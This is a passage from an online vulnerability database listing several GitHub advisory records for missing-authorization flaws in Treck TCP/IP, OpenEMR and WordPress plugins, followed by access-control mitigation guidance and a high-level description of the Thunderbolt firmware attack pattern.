"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=2900595%40essential-blocks%2Ftrunk\u0026old=2900029%40essential-blocks%2Ftrunk\u0026sfp_email=\u0026sfph_mail=#file2"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9efc782a-ec61-4741-81fd-a263a2739e16?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XWF2-93HX-88XM
Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-05-24 17:20The Treck TCP/IP stack before 6.0.1.66 has Improper ICMPv4 Access Control.
{
"affected": [],
"aliases": [
"CVE-2020-11911"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-17T11:15:00Z",
"severity": "MODERATE"
},
"details": "The Treck TCP/IP stack before 6.0.1.66 has Improper ICMPv4 Access Control.",
"id": "GHSA-xwf2-93hx-88xm",
"modified": "2022-05-24T17:20:45Z",
"published": "2022-05-24T17:20:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11911"
},
{
"type": "WEB",
"url": "https://jsof-tech.com/vulnerability-disclosure-policy"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200625-0006"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US\u0026docId=hpesbhf04012en_us"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-treck-ip-stack-JyBQ5GyC"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/article/de-de/sln321836/dell-response-to-the-ripple20-vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.jsof-tech.com/ripple20"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/257161"
},
{
"type": "WEB",
"url": "https://www.treck.com"
},
{
"type": "WEB",
"url": "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2020-006.txt"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XWF4-MVC8-9XVX
Vulnerability from github – Published: 2025-08-16 03:30 – Updated: 2026-04-23 18:30Cross-Site Request Forgery (CSRF) vulnerability in iThemes ServerBuddy by PluginBuddy.Com allows Object Injection.This issue affects ServerBuddy by PluginBuddy.Com: from n/a through 1.0.5.
{
"affected": [],
"aliases": [
"CVE-2025-49895"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-16T03:15:25Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in iThemes ServerBuddy by PluginBuddy.Com allows Object Injection.This issue affects ServerBuddy by PluginBuddy.Com: from n/a through 1.0.5.",
"id": "GHSA-xwf4-mvc8-9xvx",
"modified": "2026-04-23T18:30:46Z",
"published": "2025-08-16T03:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49895"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/school-management/vulnerability/wordpress-school-management-plugin-plugin-93-2-0-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/serverbuddy-by-pluginbuddy/vulnerability/wordpress-serverbuddy-by-pluginbuddy-com-plugin-1-0-5-csrf-to-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XWFW-2PP3-PWH3
Vulnerability from github – Published: 2023-05-28 00:30 – Updated: 2023-05-28 00:30Missing Authorization in GitHub repository openemr/openemr prior to 7.0.1.
{
"affected": [],
"aliases": [
"CVE-2023-2945"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-27T22:15:10Z",
"severity": "MODERATE"
},
"details": "Missing Authorization in GitHub repository openemr/openemr prior to 7.0.1.",
"id": "GHSA-xwfw-2pp3-pwh3",
"modified": "2023-05-28T00:30:25Z",
"published": "2023-05-28T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2945"
},
{
"type": "WEB",
"url": "https://github.com/openemr/openemr/commit/3656bc88288957d68ba040cad2e5f9dbd1b607b1"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/62de71bd-333d-4593-91a5-534ef7f0c435"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XWM4-XPF9-MH28
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 21:30Missing Authorization vulnerability in echoplugins Knowledge Base for Documentation, FAQs with AI Assistance echo-knowledge-base allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Knowledge Base for Documentation, FAQs with AI Assistance: from n/a through <= 16.011.0.
{
"affected": [],
"aliases": [
"CVE-2026-25402"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:22Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in echoplugins Knowledge Base for Documentation, FAQs with AI Assistance echo-knowledge-base allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Knowledge Base for Documentation, FAQs with AI Assistance: from n/a through \u003c= 16.011.0.",
"id": "GHSA-xwm4-xpf9-mh28",
"modified": "2026-02-19T21:30:45Z",
"published": "2026-02-19T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25402"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/echo-knowledge-base/vulnerability/wordpress-knowledge-base-for-documentation-faqs-with-ai-assistance-plugin-16-011-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.